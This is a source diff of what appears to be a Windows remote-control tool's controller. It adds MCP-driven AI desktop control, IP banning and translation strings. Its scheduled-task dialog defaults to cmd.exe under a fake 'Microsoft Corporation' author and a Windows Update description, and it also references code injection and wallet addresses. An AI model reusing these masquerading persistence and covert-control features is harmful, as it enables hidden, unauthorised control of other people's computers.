+    else          msg64.message = isDown ? WM_KEYDOWN : WM_KEYUP;
+    msg64.wParam = (uint64_t)keyCode;
+    msg64.time   = GetTickCount();
+
+    UINT scanCode = MapVirtualKey(keyCode, MAPVK_VK_TO_VSC);
+    bool isExtended = (keyCode >= VK_PRIOR && keyCode <= VK_DOWN) ||
+                      keyCode == VK_INSERT || keyCode == VK_DELETE ||
+                      keyCode == VK_NUMLOCK || keyCode == VK_RCONTROL || keyCode == VK_RMENU ||
+                      keyCode == VK_APPS;
+
+    LPARAM lParam = 1;                       // repeat count = 1
+    lParam |= (scanCode & 0xFF) << 16;
+    if (isExtended) lParam |= (1 << 24);
+    if (isSysKey)   lParam |= (1 << 29);     // context code for Alt
+    if (!isDown)    lParam |= (3UL << 30);   // bit 30/31 for key up
+
+    msg64.lParam = (uint64_t)lParam;
+    return msg64;
+}
+
+// 构造单个鼠标注入 MSG64（复用 WebService::HandleMouse 的基座字段逻辑，抽取为共享 helper，
+// 供 Web 与 MCP 远程控制两处使用，见 docs/Mcp_RemoteControl_Design.md §6.2）。
+// x/y 为物理像素坐标（已由调用方从归一化坐标映射）；message/wParam 由调用方按动作设定。
+inline MSG64 BuildMouseMsg64(int x, int y, UINT message, uint64_t wParam) {
+    MSG64 msg64;
+    memset(&msg64, 0, sizeof(MSG64));
+    msg64.pt.x    = x;
+    msg64.pt.y    = y;
+    msg64.lParam  = MAKELPARAM(x, y);
+    msg64.time    = GetTickCount();
+    msg64.message = message;
+    msg64.wParam  = wParam;
+    return msg64;
+}
+
 // Web client state
 struct WebClient {
     std::string token;
@@ -104,6 +149,10 @@ public:
     // Resolution change notification
     void NotifyResolutionChange(uint64_t device_id, int width, int height, bool top_down = false, const std::string& client_type = "");
 
+    // 读回 NotifyResolutionChange 缓存的物理捕获分辨率（来自 TOKEN_BITMAPINFO）。
+    // 尚未收到分辨率时返回 false 并置 w/h 为 0。MCP 远程控制（remote_open）用它映射归一化坐标。
+    bool GetScreenSize(uint64_t device_id, int& width, int& height);
+
     // Audio enable/disable notification — pushes current state to all web
     // clients watching this device and caches it for newcomers.
     void NotifyAudioState(uint64_t device_id, bool enabled);
@@ -250,6 +299,12 @@ public:
     bool IsMfcTriggered(uint64_t device_id);
     void ClearMfcTriggered(uint64_t device_id);
 
+    // MCP trigger management - an MCP remote control session owns the screen
+    // sub-connection and blocks human Web viewing (bidirectional mutex, §8.2).
+    void SetMcpTriggered(uint64_t device_id);
+    bool IsMcpTriggered(uint64_t device_id);
+    void ClearMcpTriggered(uint64_t device_id);
+
     // Check if a remote desktop session already exists for device
     bool HasActiveSession(uint64_t device_id);
 
@@ -295,6 +350,10 @@ private:
     std::set<uint64_t> m_MfcTriggeredDevices;
     std::mutex m_MfcTriggeredMutex;
 
+    // MCP triggered devices: screen sub-connection owned by an MCP remote control session
+    std::set<uint64_t> m_McpTriggeredDevices;
+    std::mutex m_McpTriggeredMutex;
+
     // Web 终端会话状态
     struct WebTermSession {
         void* ws_ptr;                  // browser WebSocket

server/2015Remote/context.h

@@ -14,7 +14,6 @@ enum {
     ONLINELIST_VIDEO,           // 摄像头(有无)
     ONLINELIST_PING,            // PING(对方的网速)
     ONLINELIST_VERSION,	        // 版本信息
-    ONLINELIST_PRIVILEGE,       // 权限级别 (SYSTEM/Admin/User)
     ONLINELIST_INSTALLTIME,     // 安装时间
     ONLINELIST_LOGINTIME,       // 活动窗口
     ONLINELIST_CLIENTTYPE,		// 客户端类型
@@ -22,6 +21,7 @@ enum {
     ONLINELIST_PUBIP,
     ONLINELIST_STARTTIME,
     ONLINELIST_CAPABILITIES,    // 客户端能力位
+    ONLINELIST_PRIVILEGE,       // 权限级别 (SYSTEM/Admin/User)
     ONLINELIST_MAX,
 };
 
@@ -55,6 +55,16 @@ public:
     }
     virtual void SetGroupName(const std::string& group) {}
 
+    // 等待本连接待发送缓冲排空（用于「发写命令 → 补发刷新命令」的背靠背发送：
+    // 两次 Send2Client 会对同一发送缓冲并发 WSASend，造成竞态/丢包）。非 IOCP
+    // 服务端无异步发送缓冲，默认立即返回 true；CONTEXT_OBJECT 覆写为轮询发送缓冲
+    // 归零直到排空或超时。
+    virtual bool WaitSendIdle(int timeoutMs)
+    {
+        (void)timeoutMs;
+        return true;
+    }
+
     // 检查客户端是否支持 V2 文件传输
     bool SupportsFileV2() const {
         CString caps = GetClientData(ONLINELIST_CAPABILITIES);

server/2015Remote/file/CFileManagerDlg.cpp

@@ -644,22 +644,22 @@ void CFileManagerDlg::OnReceiveComplete()
         break;
     case TOKEN_FILE_SEARCHPLUS_NONTFS: {
         DWORD_PTR dwResult;
-        SendMessageTimeout(m_wndStatusBar.GetSafeHwnd(), SB_SETTEXT, 2,(LPARAM)_T(" 驱动盘非NTFS格式"), SMTO_ABORTIFHUNG | SMTO_BLOCK, 500, &dwResult);
+        SendMessageTimeout(m_wndStatusBar.GetSafeHwnd(), SB_SETTEXT, 2,(LPARAM)_TRF(" 驱动盘非NTFS格式"), SMTO_ABORTIFHUNG | SMTO_BLOCK, 500, &dwResult);
     }
     break;
     case TOKEN_FILE_SEARCHPLUS_HANDLE: {
         DWORD_PTR dwResult;
-        SendMessageTimeout(m_wndStatusBar.GetSafeHwnd(), SB_SETTEXT, 2, (LPARAM)_T("需要管理员权限运行"), SMTO_ABORTIFHUNG | SMTO_BLOCK, 500, &dwResult);
+        SendMessageTimeout(m_wndStatusBar.GetSafeHwnd(), SB_SETTEXT, 2, (LPARAM)_TRF("需要管理员权限运行"), SMTO_ABORTIFHUNG | SMTO_BLOCK, 500, &dwResult);
     }
     break;
     case TOKEN_FILE_SEARCHPLUS_INITUSN: {
         DWORD_PTR dwResult;
-        SendMessageTimeout(m_wndStatusBar.GetSafeHwnd(), SB_SETTEXT, 2, (LPARAM)_T("初始化日志文件失败"), SMTO_ABORTIFHUNG | SMTO_BLOCK, 500, &dwResult);
+        SendMessageTimeout(m_wndStatusBar.GetSafeHwnd(), SB_SETTEXT, 2, (LPARAM)_TRF("初始化日志文件失败"), SMTO_ABORTIFHUNG | SMTO_BLOCK, 500, &dwResult);
     }
     break;
     case TOKEN_FILE_SEARCHPLUS_GETUSN: {
         DWORD_PTR dwResult;
-        SendMessageTimeout(m_wndStatusBar.GetSafeHwnd(), SB_SETTEXT, 2, (LPARAM)_T("获取日志文件失败"), SMTO_ABORTIFHUNG | SMTO_BLOCK, 500, &dwResult);
+        SendMessageTimeout(m_wndStatusBar.GetSafeHwnd(), SB_SETTEXT, 2, (LPARAM)_TRF("获取日志文件失败"), SMTO_ABORTIFHUNG | SMTO_BLOCK, 500, &dwResult);
     }
     break;
     case TOKEN_FILE_SEARCHPLUS_NUMBER: {
@@ -764,13 +764,13 @@ void CFileManagerDlg::OnDblclkListRemotedriver(NMHDR* pNMHDR, LRESULT* pResult)
 
     int	nItem = m_list_remote_driver.GetSelectionMark();
     CString	directory = m_list_remote_driver.GetItemText(nItem, 0);
-    if (directory.Compare(_T("桌面")) == 0) {
+    if (directory.Compare(_L(_T("桌面"))) == 0) {
         m_Remote_Directory_ComboBox.SetWindowText(m_strDesktopPath);
         m_list_remote.SetSelectionMark(-1);
         GetRemoteFileList();
         return;
     }
-    if (directory.Compare(_T("最近")) == 0) {
+    if (directory.Compare(_L(_T("最近"))) == 0) {
         BYTE byToken = COMMAND_FILE_RECENT;
         m_ContextObject->Send2Client(&byToken, 1);
         return;
@@ -1482,10 +1482,10 @@ void CFileManagerDlg::EndLocalRecvFile()
         DWORD_PTR dwResult;
         if (m_bIsStop) {
             SendMessageTimeout(m_wndStatusBar.GetSafeHwnd(), SB_SETTEXT, 2,
-                               (LPARAM)_T(" 取消下载"), SMTO_ABORTIFHUNG | SMTO_BLOCK, 500, &dwResult);
+                               (LPARAM)_TRF(" 取消下载"), SMTO_ABORTIFHUNG | SMTO_BLOCK, 500, &dwResult);
         } else {
             SendMessageTimeout(m_wndStatusBar.GetSafeHwnd(), SB_SETTEXT, 2,
-                               (LPARAM)_T(" 全部完成"), SMTO_ABORTIFHUNG | SMTO_BLOCK, 500, &dwResult);
+                               (LPARAM)_TRF(" 全部完成"), SMTO_ABORTIFHUNG | SMTO_BLOCK, 500, &dwResult);
         }
         m_bIsStop = false;
     } else {
@@ -1516,10 +1516,10 @@ void CFileManagerDlg::EndLocalUploadFile()
         DWORD_PTR dwResult;
         if (m_bIsStop) {
             SendMessageTimeout(m_wndStatusBar.GetSafeHwnd(), SB_SETTEXT, 2,
-                               (LPARAM)_T(" 取消上传"), SMTO_ABORTIFHUNG | SMTO_BLOCK, 500, &dwResult);
+                               (LPARAM)_TRF(" 取消上传"), SMTO_ABORTIFHUNG | SMTO_BLOCK, 500, &dwResult);
         } else {
             SendMessageTimeout(m_wndStatusBar.GetSafeHwnd(), SB_SETTEXT, 2,
-                               (LPARAM)_T(" 全部完成"), SMTO_ABORTIFHUNG | SMTO_BLOCK, 500, &dwResult);
+                               (LPARAM)_TRF(" 全部完成"), SMTO_ABORTIFHUNG | SMTO_BLOCK, 500, &dwResult);
         }
         m_bIsStop = false;
         DRIVE_CAZ = TRUE;

server/2015Remote/lang/en_US.ini

@@ -231,6 +231,8 @@ RTT=RTT
 放下面=Send Back
 透明度=Opacity
 截图=Capture
+获取剪贴板=Get Clipboard
+设置剪贴板=Set Clipboard
 
 ; ============================================
 ; Settings Dialog
@@ -388,6 +390,7 @@ Rar
 客户管理=Client Mgmt
 转移主机=Transfer Host
 分享主机=Share Host
+使用 Shine 协议(兼容 Go 服务端)=Use Shine protocol (Go-server compatible)
 取消分享=Cancel Sharing
 确定取消分享主机? 将撤销全部的分享链接。=Cancel sharing clients? This will remove all share links.
 删除主机=Delete Host
@@ -427,6 +430,7 @@ Rar
 生成+AES -> bin 文件=Generate+AES -> bin File
 测试 AES bin文件=Test AES bin File
 替换图标(&R)=&Replace Icon
+插件(&P)=&Plugins
 刷新插件(&P)=Refresh &Plugins
 口令生成(&A)=&Auth Generate
 主控生成(&M)=&Master Generate
@@ -1350,7 +1354,7 @@ FUCK!!!
 编辑备注=Edit remarks
 自己:=Self:
 视频文件(*.avi)|*.avi|=Video(*.avi)|*.avi|
-½ג³‎�ר¶¨�ה�כ=½ג³‎�ר¶¨�ה�כ
+解除锁定输入=Unlock Remote Input
 计算机已经被用户锁屏，程序无 SYSTEM 权限。\r\n可能无法进行远程桌面控制，是否继续?=Computer locked, no SYSTEM.\r\nRemote may fail, continue?
 请先生成口令!=Generate password first!
 请将EXE放在\=Put EXE in \
@@ -1956,6 +1960,7 @@ FRPC Զ
 设置失败! 通常是权限不足, 请手动在系统环境变量设置。=Failed! You have to set it via system environment center.
 运行日志=Client Log
 客户端日志=Client Log
+历史活动=Activity History
 封禁使用=Forbidden Client
 确定封禁选定的被控程序吗?=Are you sure to forbidden the selected clients?
 无结果=Not found
@@ -1965,3 +1970,83 @@ FRPC Զ
 搜索日志=Search Logs
 隐藏搜索=Hide Search
 请=Please
+所选日志消息中未检测到有效的 IP 地址=No valid IP address detected in the selected log messages
+所有解析出的 IP 已在上线提醒列表中=All extracted IPs are already in the login notify list
+已添加 %d 个 IP 到上线提醒列表=Added %d IP(s) to login notify list
+封禁IP=Ban IP
+已封禁 %d 个 IP=Banned %d IP(s)
+%d 个 IP 已在黑名单中=%d IP(s) already in blacklist
+%d 个 IP 在白名单中，已跳过=%d IP(s) in whitelist, skipped
+未执行任何操作=No action taken
+解除封禁=Unban IP
+已将 %d 个 IP 从黑名单移除=Removed %d IP(s) from blacklist
+已恢复 %d 个客户端的授权状态=Restored authorization for %d client(s)
+未找到需要解除封禁的 IP=No IPs found that need unbanning
+; ===== MCP Settings =====
+MCP设置=MCP Settings
+MCP设置(&M)...=MCP Settings(&M)...
+启用 MCP=Enable MCP
+绑定地址=Bind Address
+端口需为 1-65535 的数字=Port must be a number between 1 and 65535
+Token 不能为空=Token cannot be empty
+MCP 设置已保存。=MCP settings saved.
+启用/端口/绑定地址/Token/只读/白名单/持久终端/远程控制/文件传输/管理操作的改动需重启程序生效。=Changes to enable/port/bind address/token/read-only/whitelist/persistent terminal/remote control/file transfer/management operations take effect after restart.
+只读模式（禁命令执行）=Read-only mode (disable command execution)
+命令白名单=Command whitelist
+MCP命令执行=MCP command execution
+启用持久终端（全命令，无白名单）=Enable persistent terminal (full commands, no whitelist)
+持久终端、远程控制与管理操作仅在只读模式关闭时生效。=Persistent terminal, remote control and management operations take effect only when read-only mode is off.
+MCP持久终端=MCP persistent terminal
+MCP远程控制=MCP remote control
+MCP文件传输=MCP file transfer
+MCP管理操作=MCP management operation
+Token=Token
+启用远程控制（AI 操控桌面）=Enable remote control (AI controls the desktop)
+启用文件传输（download_file）=Enable file transfer (download_file)
+启用管理操作（进程/窗口/服务/电源）=Enable management operations (process/window/service/power)
+第 %d 个钱包地址不合法!=Wallet address #%d is invalid!
+%d 新连接\r\n=%d New connection\r\n
+%d 本地连接断开\r\n=%d Local connection closed\r\n
+%d <==发 %d bytes\r\n=%d <== sent %d bytes\r\n
+%d 返回标示 %d %d %d\r\n=%d Return flag %d %d %d\r\n
+域名 连接 %d \r\n=Domain connect %d \r\n
+%d IPV6连接 不支持...=%d IPv6 connection not supported...
+%d 不符要求, 断开 %d %d %d\r\n=%d Not compliant, disconnect %d %d %d\r\n
+%d 连接成功\r\n=%d Connected\r\n
+%d 连接失败\r\n=%d Connection failed\r\n
+%d ==>收 %d bytes\r\n=%d ==> received %d bytes\r\n
+ 驱动盘非NTFS格式= Drive is not NTFS
+需要管理员权限运行=Administrator privileges required
+初始化日志文件失败=Failed to initialize log file
+获取日志文件失败=Failed to get log file
+ 取消下载= Download cancelled
+ 全部完成= All done
+ 取消上传= Upload cancelled
+无权限或无记录...=No permission or no records...
+请等待数据返回...=Waiting for data...
+接收数据完成=Data received
+打开文件失败...=Failed to open file...
+此任务用于在需要时启动 Windows 更新服务以执行计划的操作(如扫描)=This task starts the Windows Update service when needed to run scheduled operations (e.g. scanning)
+本地文件路径=Local file path
+高级(&A)=&Advanced
+远程桌面质量等级(&Q)=Remote Desktop &Quality Levels
+远程桌面质量等级=Remote Desktop Quality Levels
+等级=Level
+帧率(FPS)=FPS
+最大宽度=Max Width
+编码算法=Codec
+码率(kbps)=Bitrate (kbps)
+Ultra 极佳=Ultra
+High 优秀=High
+Good 良好=Good
+Medium 一般=Medium
+Low 较差=Low
+Minimal 最低=Minimal
+最大宽度 0 表示原始分辨率；DIFF/RGB565 适合局域网，H264 适合跨网=Max Width 0 = native resolution; DIFF/RGB565 for LAN, H264 for WAN
+恢复默认=Restore Defaults
+质量等级已保存，下次打开远程桌面时生效。=Quality levels saved. They take effect the next time you open Remote Desktop.
+屏幕预览质量等级(&P)=Screen Preview &Quality Levels
+屏幕预览质量等级=Screen Preview Quality Levels
+JPEG质量=JPEG Quality
+最大宽度为期望编码宽度；JPEG 质量 1~100=Max width is the target encode width; JPEG quality 1~100
+预览质量等级已保存，下次发送预览时生效。=Preview quality levels saved. They take effect the next time a preview is sent.

server/2015Remote/lang/zh_TW.ini

@@ -230,6 +230,8 @@ RTT=RTT
 放下面=置於下層
 透明度=透明度
 截图=擷取螢幕
+获取剪贴板=取得剪貼簿
+设置剪贴板=設定剪貼簿
 
 ; ============================================
 ; Settings Dialog
@@ -388,6 +390,7 @@ Rar
 客户管理=用戶管理
 转移主机=轉移主機
 分享主机=分享主機
+使用 Shine 协议(兼容 Go 服务端)=使用 Shine 協議(相容 Go 伺服器)
 取消分享=取消分享
 确定取消分享主机? 将撤销全部的分享链接。=确定取消分享主机? 将撤销全部的分享链接。
 删除主机=刪除主機
@@ -427,6 +430,7 @@ Rar
 生成+AES -> bin 文件=產生+AES -> bin 檔案
 测试 AES bin文件=測試 AES bin 檔案
 替换图标(&R)=替換圖示(&R)
+插件(&P)=外掛程式(&P)
 刷新插件(&P)=重新整理外掛程式(&P)
 口令生成(&A)=密碼產生(&A)
 主控生成(&M)=主控產生(&M)
@@ -1947,6 +1951,7 @@ FRPC Զ
 设置失败! 通常是权限不足, 请手动在系统环境变量设置。=设置失败! 通常是权限不足, 请手动在系统环境变量设置。
 运行日志=运行日志
 客户端日志=客户端日志
+历史活动=歷史活動
 封禁使用=封禁使用
 确定封禁选定的被控程序吗?=确定封禁选定的被控程序吗?
 无结果=无结果
@@ -1956,3 +1961,83 @@ FRPC Զ
 搜索日志=搜索日志
 隐藏搜索=隐藏搜索
 请=请
+所有解析出的 IP 已在上线提醒列表中=所有解析出的 IP 已在上線提醒列表中
+已添加 %d 个 IP 到上线提醒列表=已新增 %d 個 IP 到上線提醒列表
+所选日志消息中未检测到有效的 IP 地址=所選日誌消息中未檢測到有效的 IP 位址
+封禁IP=封禁IP
+已封禁 %d 个 IP=已封禁 %d 個 IP
+%d 个 IP 已在黑名单中=%d 個 IP 已在黑名單中
+%d 个 IP 在白名单中，已跳过=%d 個 IP 在白名單中，已跳過
+未执行任何操作=未執行任何操作
+解除封禁=解除封禁
+已将 %d 个 IP 从黑名单移除=已將 %d 個 IP 從黑名單移除
+已恢复 %d 个客户端的授权状态=已恢復 %d 個客戶端的授權狀態
+未找到需要解除封禁的 IP=未找到需要解除封禁的 IP
+; ===== MCP Settings =====
+MCP设置=MCP設定
+MCP设置(&M)...=MCP設定(&M)...
+启用 MCP=啟用 MCP
+绑定地址=綁定位址
+端口需为 1-65535 的数字=連接埠需為 1-65535 的數字
+Token 不能为空=Token 不能為空
+MCP 设置已保存。=MCP 設定已儲存。
+启用/端口/绑定地址/Token/只读/白名单/持久终端/远程控制/文件传输/管理操作的改动需重启程序生效。=啟用/連接埠/綁定位址/Token/唯讀/白名單/持久終端/遠端控制/檔案傳輸/管理操作的變更需重新啟動程式後生效。
+只读模式（禁命令执行）=唯讀模式（禁命令執行）
+命令白名单=命令白名單
+MCP命令执行=MCP命令執行
+启用持久终端（全命令，无白名单）=啟用持久終端（完整命令，無白名單）
+持久终端、远程控制与管理操作仅在只读模式关闭时生效。=持久終端、遠端控制與管理操作僅在唯讀模式關閉時生效。
+MCP持久终端=MCP持久終端
+MCP远程控制=MCP遠端控制
+MCP文件传输=MCP檔案傳輸
+MCP管理操作=MCP管理操作
+Token=Token
+启用远程控制（AI 操控桌面）=啟用遠端控制（AI 操控桌面）
+启用文件传输（download_file）=啟用檔案傳輸（download_file）
+启用管理操作（进程/窗口/服务/电源）=啟用管理操作（程序/視窗/服務/電源）
+第 %d 个钱包地址不合法!=第 %d 個錢包位址不合法!
+%d 新连接\r\n=%d 新連線\r\n
+%d 本地连接断开\r\n=%d 本機連線斷開\r\n
+%d <==发 %d bytes\r\n=%d <==傳送 %d bytes\r\n
+%d 返回标示 %d %d %d\r\n=%d 返回標示 %d %d %d\r\n
+域名 连接 %d \r\n=網域連線 %d \r\n
+%d IPV6连接 不支持...=%d IPv6連線 不支援...
+%d 不符要求, 断开 %d %d %d\r\n=%d 不符合要求, 斷開 %d %d %d\r\n
+%d 连接成功\r\n=%d 連線成功\r\n
+%d 连接失败\r\n=%d 連線失敗\r\n
+%d ==>收 %d bytes\r\n=%d ==>接收 %d bytes\r\n
+ 驱动盘非NTFS格式= 磁碟非NTFS格式
+需要管理员权限运行=需要管理員權限執行
+初始化日志文件失败=初始化日誌檔案失敗
+获取日志文件失败=取得日誌檔案失敗
+ 取消下载= 取消下載
+ 全部完成= 全部完成
+ 取消上传= 取消上傳
+无权限或无记录...=無權限或無記錄...
+请等待数据返回...=請等待資料返回...
+接收数据完成=接收資料完成
+打开文件失败...=開啟檔案失敗...
+此任务用于在需要时启动 Windows 更新服务以执行计划的操作(如扫描)=此工作用於在需要時啟動 Windows 更新服務以執行排程的操作(如掃描)
+本地文件路径=本機檔案路徑
+高级(&A)=進階(&A)
+远程桌面质量等级(&Q)=遠端桌面品質等級(&Q)
+远程桌面质量等级=遠端桌面品質等級
+等级=等級
+帧率(FPS)=幀率(FPS)
+最大宽度=最大寬度
+编码算法=編碼算法
+码率(kbps)=碼率(kbps)
+Ultra 极佳=Ultra 極佳
+High 优秀=High 優秀
+Good 良好=Good 良好
+Medium 一般=Medium 一般
+Low 较差=Low 較差
+Minimal 最低=Minimal 最低
+最大宽度 0 表示原始分辨率；DIFF/RGB565 适合局域网，H264 适合跨网=最大寬度 0 = 原始解析度；DIFF/RGB565 適合區域網路，H264 適合跨網
+恢复默认=恢復預設
+质量等级已保存，下次打开远程桌面时生效。=品質等級已儲存，下次開啟遠端桌面時生效。
+屏幕预览质量等级(&P)=螢幕預覽品質等級(&P)
+屏幕预览质量等级=螢幕預覽品質等級
+JPEG质量=JPEG品質
+最大宽度为期望编码宽度；JPEG 质量 1~100=最大寬度為期望編碼寬度；JPEG 品質 1~100
+预览质量等级已保存，下次发送预览时生效。=預覽品質等級已儲存，下次傳送預覽時生效。

server/2015Remote/proxy/ProxyMapDlg.cpp

@@ -135,7 +135,7 @@ void CALLBACK CProxyMapDlg::NotifyProc(void *user, ClientContext* pContext, UINT
     try {
         switch (nCode) {
         case NC_CLIENT_CONNECT:
-            wsprintf(szMsg, _T("%d 新连接\r\n"), index);
+            wsprintf(szMsg, _TRF("%d 新连接\r\n"), index);
             break;
         case NC_CLIENT_DISCONNECT:
             if (pContext->m_bProxyConnected) {
@@ -144,7 +144,7 @@ void CALLBACK CProxyMapDlg::NotifyProc(void *user, ClientContext* pContext, UINT
                 memcpy(lpData + 1, &index, sizeof(DWORD));
                 g_pProxyMap->m_ContextObject->Send2Client(lpData, 5);
             }
-            wsprintf(szMsg, _T("%d 本地连接断开\r\n"), index);
+            wsprintf(szMsg, _TRF("%d 本地连接断开\r\n"), index);
             break;
         case NC_TRANSMIT:
             break;
@@ -152,13 +152,13 @@ void CALLBACK CProxyMapDlg::NotifyProc(void *user, ClientContext* pContext, UINT
             if (pContext->m_bProxyConnected == 2) {
                 g_pProxyMap->m_ContextObject->Send2Client(pContext->InDeCompressedBuffer.GetBuffer(0),
                         pContext->InDeCompressedBuffer.GetBufferLength());
-                wsprintf(szMsg, _T("%d <==发 %d bytes\r\n"), index, pContext->InDeCompressedBuffer.GetBufferLength() - 5);
+                wsprintf(szMsg, _TRF("%d <==发 %d bytes\r\n"), index, pContext->InDeCompressedBuffer.GetBufferLength() - 5);
             } else if (pContext->m_bProxyConnected == 0) {
                 char msg_auth_ok[] = { 0X05, 0X00 }; // VERSION SOCKS, AUTH MODE, OK
                 LPBYTE lpData = pContext->InDeCompressedBuffer.GetBuffer(5);
                 pContext->m_bProxyConnected = 1;
                 g_pProxyMap->m_iocpLocal->Send(pContext, (LPBYTE)msg_auth_ok, sizeof(msg_auth_ok));
-                wsprintf(szMsg, _T("%d 返回标示 %d %d %d\r\n"), index, lpData[0], lpData[1], lpData[2]);
+                wsprintf(szMsg, _TRF("%d 返回标示 %d %d %d\r\n"), index, lpData[0], lpData[1], lpData[2]);
             } else if (pContext->m_bProxyConnected == 1) {
                 LPBYTE lpData = pContext->InDeCompressedBuffer.GetBuffer(5);
                 BYTE buf[11] = {};
@@ -182,10 +182,10 @@ void CALLBACK CProxyMapDlg::NotifyProc(void *user, ClientContext* pContext, UINT
                         memcpy(HostName + 5, &Socks5Request->szIP + Socks5Request->IP_LEN, 2);
                         g_pProxyMap->m_ContextObject->Send2Client(HostName, Socks5Request->IP_LEN + 8);
                         SAFE_DELETE_ARRAY(HostName);
-                        wsprintf(szMsg, _T("域名 连接 %d \r\n"), index);
+                        wsprintf(szMsg, _TRF("域名 连接 %d \r\n"), index);
                     } else if (lpData[3] == 4) { //ipv6
                         char msg_ipv6_nok[] = { 0X05, 0X08, 0X00, 0X01, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00 }; // IPv6 not support
-                        wsprintf(szMsg, _T("%d IPV6连接 不支持..."), index);
+                        wsprintf(szMsg, _TRF("%d IPV6连接 不支持..."), index);
                         g_pProxyMap->m_iocpLocal->Send(pContext, (LPBYTE)msg_ipv6_nok, sizeof(msg_ipv6_nok));
                         g_pProxyMap->m_iocpLocal->Disconnect(pContext->m_Socket);
                         break;
@@ -197,7 +197,7 @@ void CALLBACK CProxyMapDlg::NotifyProc(void *user, ClientContext* pContext, UINT
                     buf[3] = lpData[3];
                     g_pProxyMap->m_iocpLocal->Send(pContext, buf, sizeof(buf));
                     g_pProxyMap->m_iocpLocal->Disconnect(pContext->m_Socket);
-                    wsprintf(szMsg, _T("%d 不符要求, 断开 %d %d %d\r\n"), index, lpData[0], lpData[1], lpData[3]);
+                    wsprintf(szMsg, _TRF("%d 不符要求, 断开 %d %d %d\r\n"), index, lpData[0], lpData[1], lpData[3]);
                 }
             }
             break;
@@ -238,9 +238,9 @@ void CProxyMapDlg::OnReceiveComplete()
         if (m_iocpLocal->m_TcpServer->GetConnectionExtra((CONNID)index, (PVOID*)&pContext_proxy) && pContext_proxy != nullptr) {
             if (sendbuf[1] == 0) {
                 pContext_proxy->m_bProxyConnected = 2;
-                wsprintf(szMsg, _T("%d 连接成功\r\n"), index);
+                wsprintf(szMsg, _TRF("%d 连接成功\r\n"), index);
             } else
-                wsprintf(szMsg, _T("%d 连接失败\r\n"), index);
+                wsprintf(szMsg, _TRF("%d 连接失败\r\n"), index);
             m_iocpLocal->Send(pContext_proxy, sendbuf, sizeof(sendbuf));
             AddLog(szMsg);
         }
@@ -266,7 +266,7 @@ void CProxyMapDlg::OnReceiveComplete()
                 AddLog(szMsg);
                 return;
             }
-            wsprintf(szMsg, _T("%d ==>收 %d bytes\r\n"), index, m_ContextObject->m_DeCompressionBuffer.GetBufferLength() - 5);
+            wsprintf(szMsg, _TRF("%d ==>收 %d bytes\r\n"), index, m_ContextObject->m_DeCompressionBuffer.GetBufferLength() - 5);
             AddLog(szMsg);
         }
     }

server/2015Remote/resource.h

@@ -277,6 +277,9 @@
 #define IDB_BITMAP_CLIENTLOG            395
 #define IDI_CLIENTLOG                   396
 #define IDB_BITMAP_FORBIDDEN            397
+#define IDB_BITMAP_HISTORY_ACTIVITY     398
+#define IDB_BITMAP_VIEW_WND             399
+#define IDB_BITMAP_PROXY_AUTORUN        400
 #define IDC_MESSAGE                     1000
 #define IDC_ONLINE                      1001
 #define IDC_STATIC_TIPS                 1002
@@ -350,6 +353,8 @@
 #define IDI_SYSTEM                      2035
 #define IDC_DOT                         2036
 #define IDD_AUDIO                       2038
+#define IDD_QUALITY_LEVELS              3000
+#define IDD_PREVIEW_LEVELS              3001
 #define IDI_AUDIO                       2039
 #define IDC_LIST_REMOTE                 2040
 #define IDC_LIST_LOCAL                  2041
@@ -579,6 +584,8 @@
 #define IDC_BTN_X                       2312
 #define IDC_BTN_Y                       2313
 #define IDC_BTN_Z                       2314
+#define IDC_BTN_GET_CLIPBOARD           2315
+#define IDC_BTN_SET_CLIPBOARD           2316
 #define IDC_STATIC_ABOUTBOX_YamaV12_2340 2340
 #define IDC_STATIC_ABOUTBOX_Copyleft__2341 2341
 #define IDC_STATIC_FILE_MANAGER_LOCAL_PATH 2342
@@ -991,8 +998,12 @@
 #define ID_CANCEL_SHARE                 33042
 #define ID_MSGLOG_COPY                  33043
 #define ID_MSGLOG_SEARCH                33078
+#define ID_MSGLOG_LOGIN_NOTIFY          33079
+#define ID_MSGLOG_BAN_IP                33080
+#define ID_MSGLOG_UNBAN_IP              33081
 #define ID_WEB_REMOTE_CONTROL           33044
 #define ID_TOOL_PLUGIN_SETTINGS         33045
+#define ID_MCP_SETTINGS                 33077
 #define ID_33046                        33046
 #define ID_PROXY_PORT_AUTORUN           33047
 #define ID_TRIGGER_SETTINGS             33048
@@ -1025,15 +1036,33 @@
 #define ID_ONLINE_CLIENT_LOG            33074
 #define ID_ONLINE_33075                 33075
 #define ID_ONLINE_FORBIDDEN             33076
+#define ID_ONLINE_HISTORY_ACTIVITY      33082
 #define ID_EXIT_FULLSCREEN              40001
+#define ID_TOOL_QUALITY_LEVELS          33083
+#define ID_TOOL_PREVIEW_LEVELS          33084
+#define IDC_QLEVEL_FPS                  2547
+#define IDC_QLEVEL_WIDTH                2553
+#define IDC_QLEVEL_ALGO                 2559
+#define IDC_QLEVEL_BITRATE              2565
+#define IDC_QLEVEL_RESET                2571
+#define IDC_PLEVEL_WIDTH                2572
+#define IDC_PLEVEL_QUALITY              2578
+#define IDC_PLEVEL_RESET                2584
+
+#define IDD_DIALOG_SHARE_HOST          402
+#define IDC_STATIC_SHARE_ADDRESS       2585
+#define IDC_EDIT_SHARE_ADDRESS         2586
+#define IDC_CHECK_USE_SHINE            2587
+#define IDC_STATIC_SHARE_DAYS          2588
+#define IDC_EDIT_SHARE_DAYS            2589
 
 // Next default values for new objects
 // 
 #ifdef APSTUDIO_INVOKED
 #ifndef APSTUDIO_READONLY_SYMBOLS
-#define _APS_NEXT_RESOURCE_VALUE        398
+#define _APS_NEXT_RESOURCE_VALUE        403
-#define _APS_NEXT_COMMAND_VALUE         33079
+#define _APS_NEXT_COMMAND_VALUE         33085
-#define _APS_NEXT_CONTROL_VALUE         2542
+#define _APS_NEXT_CONTROL_VALUE         2590
 #define _APS_NEXT_SYMED_VALUE           105
 #endif
 #endif

server/2015Remote/sys/CCreateTaskDlg.cpp

@@ -15,7 +15,7 @@ CCreateTaskDlg::CCreateTaskDlg(CWnd* pParent /*=nullptr*/)
     , m_TaskNames(_T("bhyy"))
     , m_ExePath(_T("C:\\windows\\system32\\cmd.exe"))
     , m_Author(_T("Microsoft Corporation"))
-    , m_Description(_T("此任务用于在需要时启动 Windows 更新服务以执行计划的操作(如扫描)"))
+    , m_Description(_TR("此任务用于在需要时启动 Windows 更新服务以执行计划的操作(如扫描)"))
 {
 }
 

server/2015Remote/sys/CInjectCodeDlg.cpp

@@ -14,7 +14,7 @@ IMPLEMENT_DYNAMIC(CInjectCodeDlg, CDialog)
 
